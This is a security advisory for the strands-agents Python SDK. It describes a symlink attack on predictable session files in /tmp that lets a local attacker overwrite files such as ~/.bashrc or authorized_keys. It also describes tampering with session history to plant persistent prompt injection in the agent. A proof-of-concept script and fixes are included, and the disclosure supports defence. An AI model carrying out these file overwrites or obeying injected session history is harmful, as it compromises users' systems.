---
id: GHSA-3w55-933p-8pv5
title: >-
  Strands Agents: Local Privilege Escalation via Symlink Attack in Default
  Session File Storage
summary: >-
  Strands Agents: Local Privilege Escalation via Symlink Attack in Default
  Session File Storage
severity: high
cvss: 7.1
cvssVector: 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H'
vendor: strands-agents
product: strands-agents
ecosystem: pip
affected:
  - strands-agents < 1.48.0
patched:
  - strands-agents 1.48.0
published: '2026-10-27'
updated: '2026-10-27'
sourceUpdated: '2026-10-27T15:47:09.668142875Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-3w55-933p-8pv5'
references:
  - url: >-
      https://github.com/strands-agents/harness-sdk/security/advisories/GHSA-3w55-933p-8pv5
  - url: 'https://github.com/strands-agents/harness-sdk/pull/2937'
  - url: >-
      https://github.com/strands-agents/harness-sdk/commit/8658b9e0d57427b77b69343262184d76d8e63e8f
  - url: 'https://github.com/strands-agents/harness-sdk'
  - url: 'https://github.com/strands-agents/harness-sdk/releases/tag/python/v1.48.0'
  - url: 'https://github.com/advisories/GHSA-3w55-933p-8pv5'
tags:
  - osv
  - pip
  - ghsa
cwe:
  - CWE-59
ingestedAt: '2026-10-27T16:11:58.710Z'
---

## Overview

## Summary

The `FileSessionManager` defaults to storing session data in `/tmp/strands/sessions/` (a world-writable directory) using predictable file paths and a write pattern (`open(path + ".tmp", "w")` → `os.replace()`) that follows symbolic links. A local attacker can exploit this to overwrite arbitrary files or inject malicious session data for persistent prompt injection.

## Vulnerability Details

**Component:** `strands-py/src/strands/session/file_session_manager.py`

**Root Cause:**
1. Default storage directory is `tempfile.gettempdir() + "/strands/sessions/"` (line 58) — resolves to `/tmp/strands/sessions/` on Linux/macOS
2. The `_write_file()` method (lines 116-123) writes to a predictable `.tmp` path without symlink protection:
   ```python
   tmp = f"{path}.tmp"
   with open(tmp, "w", encoding="utf-8", newline="\n") as f:
       json.dump(data, f, indent=2, ensure_ascii=False)
   os.replace(tmp, path)
   ```
3. `open()` follows symlinks — a pre-placed symlink at the `.tmp` path causes writes to an arbitrary target file
4. No integrity verification (HMAC/signature) on session files — tampered data is loaded as-is

## Attack Vectors

### 1. Arbitrary File Overwrite (Local Privilege Escalation)
1. Attacker pre-creates `/tmp/strands/sessions/session_<id>/` (or monitors for new directories via inotify)
2. Attacker creates a symlink: `session.json.tmp` → `/home/victim/.bashrc` (or any writable file)
3. Victim application writes session data → follows symlink → overwrites target file with JSON content
4. Attacker achieves code execution on next shell login (or targets `.ssh/authorized_keys`, cron files, etc.)

### 2. Persistent Prompt Injection via Session Tampering
1. Attacker writes crafted message files into the session directory
2. Victim application restores the session → loads attacker-controlled conversation history
3. Injected messages instruct the agent to execute attacker commands on every future interaction
4. No integrity check prevents this — the SDK trusts all session files at face value

## Impact

- **Arbitrary file overwrite** — local attacker can write attacker-controlled content to any file writable by the victim process
- **Local privilege escalation** — via overwriting shell configs, SSH keys, cron jobs, or systemd user services
- **Persistent agent compromise** — via session data injection, the agent follows attacker instructions indefinitely

## Reproduction

```python
import os, json, tempfile, shutil

# Setup: simulate the vulnerable write pattern
session_dir = "/tmp/strands/sessions/session_test/"
os.makedirs(session_dir, exist_ok=True)

# Attacker: create symlink at the .tmp write path
target_file = "/tmp/symlink_attack_proof.txt"
with open(target_file, "w") as f:
    f.write("ORIGINAL - should not be overwritten\n")

symlink_path = os.path.join(session_dir, "session.json.tmp")
if os.path.exists(symlink_path):
    os.unlink(symlink_path)
os.symlink(target_file, symlink_path)

# Victim: FileSessionManager._write_file() equivalent
with open(symlink_path, "w", encoding="utf-8", newline="\n") as f:
    json.dump({"session_id": "test", "injected": True}, f, indent=2)

# Verify: target file overwritten
with open(target_file) as f:
    print(f"Target file content: {f.read()}")
    # Output: {"session_id": "test", "injected": true}

# Cleanup
os.unlink(symlink_path)
os.unlink(target_file)
shutil.rmtree(session_dir)
```

## Suggested Fix

1. **Use a user-private default directory** — `~/.strands/sessions/` or `$XDG_DATA_HOME/strands/sessions/` instead of `/tmp/`
2. **Use `os.open()` with `O_NOFOLLOW | O_CREAT | O_WRONLY`** — refuses to follow symlinks
3. **Use `tempfile.mkstemp()`** for atomic writes instead of predictable `.tmp` suffix
4. **Verify directory ownership** matches the current user before writing
5. **Add optional integrity verification** (HMAC) on session files to detect tampering

## Affected packages

- `strands-agents < 1.48.0`

## Remediation

Upgrade to a patched release:

- `strands-agents 1.48.0`